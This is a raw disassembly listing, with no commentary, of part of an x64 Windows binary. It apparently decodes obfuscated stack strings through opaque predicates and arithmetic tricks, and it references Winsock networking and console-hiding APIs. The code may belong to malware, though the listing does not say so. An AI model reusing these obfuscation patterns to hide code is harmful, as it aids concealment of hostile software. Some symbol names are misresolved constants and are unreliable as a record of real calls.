lea ebx, [r11 + rcx]
sub bl, 0x66
jmp 0x1400c4ad3
je 0x1400c50ad
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c508b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c506f
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c5051
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c5034
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c4d4e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c4d40
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c4d1b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c4cf5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c4cdb
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c4cbb
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x80]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c5262
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c5242
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c4bf8
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c4bda
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c4bc0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 3]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c4c8e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c4c6e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c4c50
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c4c34
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c4c14
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x64]
jmp 0x1400c4ae0
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5a
jmp 0x1400c4ad3
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c4a70
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x22
jmp 0x1400c4a00
add r10b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c5171
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x24
jmp 0x1400c5174
lea edx, [r10 + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c51a4
sub r10b, 0x4c
movzx eax, r11b
and al, r10b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c51d1
add r10b, 0x30
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x50
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c49e3
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c5171
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
jmp 0x1400c514e
add r10b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c49e3
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400c49e3
lea edx, [r10 + 0x5c]
mov ecx, 0x3e
jmp 0x1400c50d1
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400c4e01
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4e
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400c501e
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c4eb4
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 0x400
jae 0x1400c5001
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400c4f8a
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 6
jb 0x1400c4ff2
lea edx, [r10 + 0x4c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x28]
jmp 0x1400c50e1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4e27
sub r10b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c5229
inc rax
cmp r8, rax
jne 0x1400c4e4b
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
jmp 0x1400c51d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4e6e
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 4
jmp 0x1400c51a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4e85
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400c513e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4d70
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x74
dec rdi
inc rdi
jmp 0x1400c49e3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c4ed7
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x32
jmp 0x1400c50e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4f02
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
dec rdi
inc rdi
jmp 0x1400c49e3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c4f2b
sub r10b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c5171
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c4f50
add r10b, 0x5a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x76
jmp 0x1400c51d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4da4
sub r10b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x12
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c49e3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4fb0
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c5229
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4fd7
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c51a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c4dd7
lea edx, [r10 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1400c513e
mov byte [rbp + rdi + 0x1d0], bl
inc rdi
jmp 0x1400c49e3
lea edx, [r10 - 0x30]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x28
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c514e
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [rcx - 0x4c]
jmp 0x1400c51a4
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c5229
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c51a4
add r10b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xe
jmp 0x1400c5174
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3a
dec rdi
inc rdi
jmp 0x1400c49e3
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 2
jmp 0x1400c50e1
movzx r10d, dil
lea edx, [r10 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r10b, 0xe
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x62
add r10b, r11b
mov byte [rbp + rdi + 0x1d0], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c49e3
lea edx, [rdi + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c49e3
movzx r10d, dil
lea edx, [r10 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x1d0], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c49e3
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea ebx, [r11 + rax]
sub bl, 0x22
movzx r10d, dil
add r10b, 0x16
movzx eax, r11b
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x1d0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x28]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x1d0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c49e3
lea rax, [rdi + r15]
and sil, al
mov ecx, listen
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r11b
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c49e3
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c49e0
add r10b, 0x46
movzx eax, r11b
and al, r10b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c49d1
lea rdx, [rbp + 0x155ac28]
jmp 0x1400c529b
lea rdx, [rbp + 0x968aea]
jmp 0x1400c529b
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x40]
call fcn.1400042d0
mov rdx, rax
mov rcx, qword [0x14022e118]
call fcn.1400e0290
nop
lea rcx, [rbp + 0x980]
call fcn.140003810
nop
lea rcx, [rbp + 0x938]
call fcn.140002820
nop
lea rcx, [rbp + 0x958]
call fcn.140002820
mov rsi, qword [0x14022e168]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x510], 0xcb
mov byte [rbp + 0x511], 0xa1
mov byte [rbp + 0x512], 0x61
mov byte [rbp + 0x513], 0x64
mov byte [rbp + 0x514], 0x59
mov byte [rbp + 0x515], 0x63
mov byte [rbp + 0x516], 0x5d
mov byte [rbp + 0x517], reloc.WS2_32.dll_socket
mov byte [rbp + 0x518], 0x53
mov byte [rbp + 0x519], 0x66
mov byte [rbp + 0x51a], 0x68
mov byte [rbp + 0x51b], WSASetLastError
mov byte [rbp + 0x51c], WSASetLastError
mov byte [rbp + 0x51d], 0x55
mov byte [rbp + 0x51e], 0x5b
mov byte [rbp + 0x51f], Ordinal_35
mov byte [rbp + 0x520], 0x55
mov byte [rbp + 0x521], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x522], 2
mov byte [rbp + 0x523], gethostname
mov byte [rbp + 0x524], 0
mov byte [rbp + 0x525], 0x76
mov byte [rbp + 0x526], 0x43
mov byte [rbp + 0x527], 0x40
mov byte [rbp + 0x528], 0x77
mov byte [rbp + 0x529], 0x77
mov byte [rbp + 0x52a], Ordinal_79
mov byte [rbp + 0x52b], 0x7c
mov byte [rbp + 0x52c], Ordinal_60
mov byte [rbp + 0x52d], Ordinal_60
mov byte [rbp + 0x52e], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x52f], 0xe1
mov byte [rbp + 0x530], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x531], xmm0
movups xmmword [rbp + 0x541], xmm0
mov word [rbp + 0x551], ax
movabs r14, 0xd0733e8580af40fe
movabs r12, 0xb326b5a684cac6f2
movabs r15, 0x7159bb90820dc2fa
movzx edx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x43
jae 0x1400c5ee2
movzx r11d, byte [rbp + rbx + 0x510]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c5ed9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c547c
lea rcx, [rbx + r14]
movzx eax, dil
and al, cl
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
jmp 0x1400c54b6
je 0x1400c5e63
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5ddd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5dae
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5d8f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c5d46
movzx r10d, bl
nop word [rax + rax]
cmp r9, rbx
ja 0x1400c5ed0
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400c54ec
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c5530
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5d3b
inc rax
cmp r8, rax
je 0x1400c5d12
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5cd6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c5cba
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c5c9d
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c59be
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c59b0
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c5987
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5961
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c5944
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c5924
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c590a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c58ee
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c58c1
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c5540
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c5eb0
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c5e90
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c5703
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c56e6
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c56cc
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c587b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c5841
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c5817
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c5540
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c57fa
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c57da
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c57c0
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c57a4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c5788
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c576e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c574c
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c5723
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c5540
lea r8, [r9 + 0x41]
lea r9, [r8 + 1]
jmp 0x1400c5540
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
jmp 0x1400c5530
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c54c0
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5450
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5433
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
dec rbx
inc rbx
jmp 0x1400c5433
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x24
jmp 0x1400c5ceb
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x1400c5dc2
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5c
jmp 0x1400c5dc5
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400c5df8
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5e23
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400c5e77
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x510], dl
inc rbx
jmp 0x1400c5433
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
cmp r9, 9
jb 0x1400c5832
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400c5d62
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2e
cmp r8, 6
jae 0x1400c5c6b
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400c5b90
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c5856
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5433
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400c5e23
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
jmp 0x1400c5df8
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5dc2
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c5ceb
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c5433
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5433
lea edx, [r10 + 0x24]
mov ecx, 2
jmp 0x1400c5d53
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c5a17
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400c5c87
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400c5adc
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c5890
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5a3d
sub r10b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400c5e77
inc rax
cmp r8, rax
jne 0x1400c5a65
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5e23
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5a88
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400c5df8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5aad
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
jmp 0x1400c5dc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c59df
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xc
dec rbx
inc rbx
jmp 0x1400c5433
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5af3
lea edx, [r10 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1400c5d53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5b1e
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x56
dec rbx
inc rbx
jmp 0x1400c5433
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5b43
add r10b, 0x72
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1e
jmp 0x1400c5dc2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5b66
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400c5df5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c5890
add r10b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400c5e77
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5bc6
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5433
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5be9
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x1400c5df8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5c12
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5dc2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5c38
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c5ceb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c5856
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c5433
lea edx, [r10 + 0x30]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x50
add dl, cl
add dl, r11b
jmp 0x1400c5ceb
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x34]
jmp 0x1400c5df8
sub r10b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400c5e77
sub r10b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x32
jmp 0x1400c5dc5
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6a
add r10b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
sub cl, 0x42
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x510], cl
jmp 0x1400c5dc2
sub r10b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5433
lea edx, [r10 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x1400c5d53
movzx r10d, bl
lea edx, [r10 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, r11b
mov byte [rbp + rbx + 0x510], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c5433
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2e
dec rbx
inc rbx
jmp 0x1400c5433
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c5433
lea rax, [rbx + r12]
and dil, al
mov ecx, Ordinal_50
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
movzx r10d, bl
add dl, r11b
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x26
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x510], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x18
add cl, r11b
mov byte [rbp + rbx + 0x510], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5433
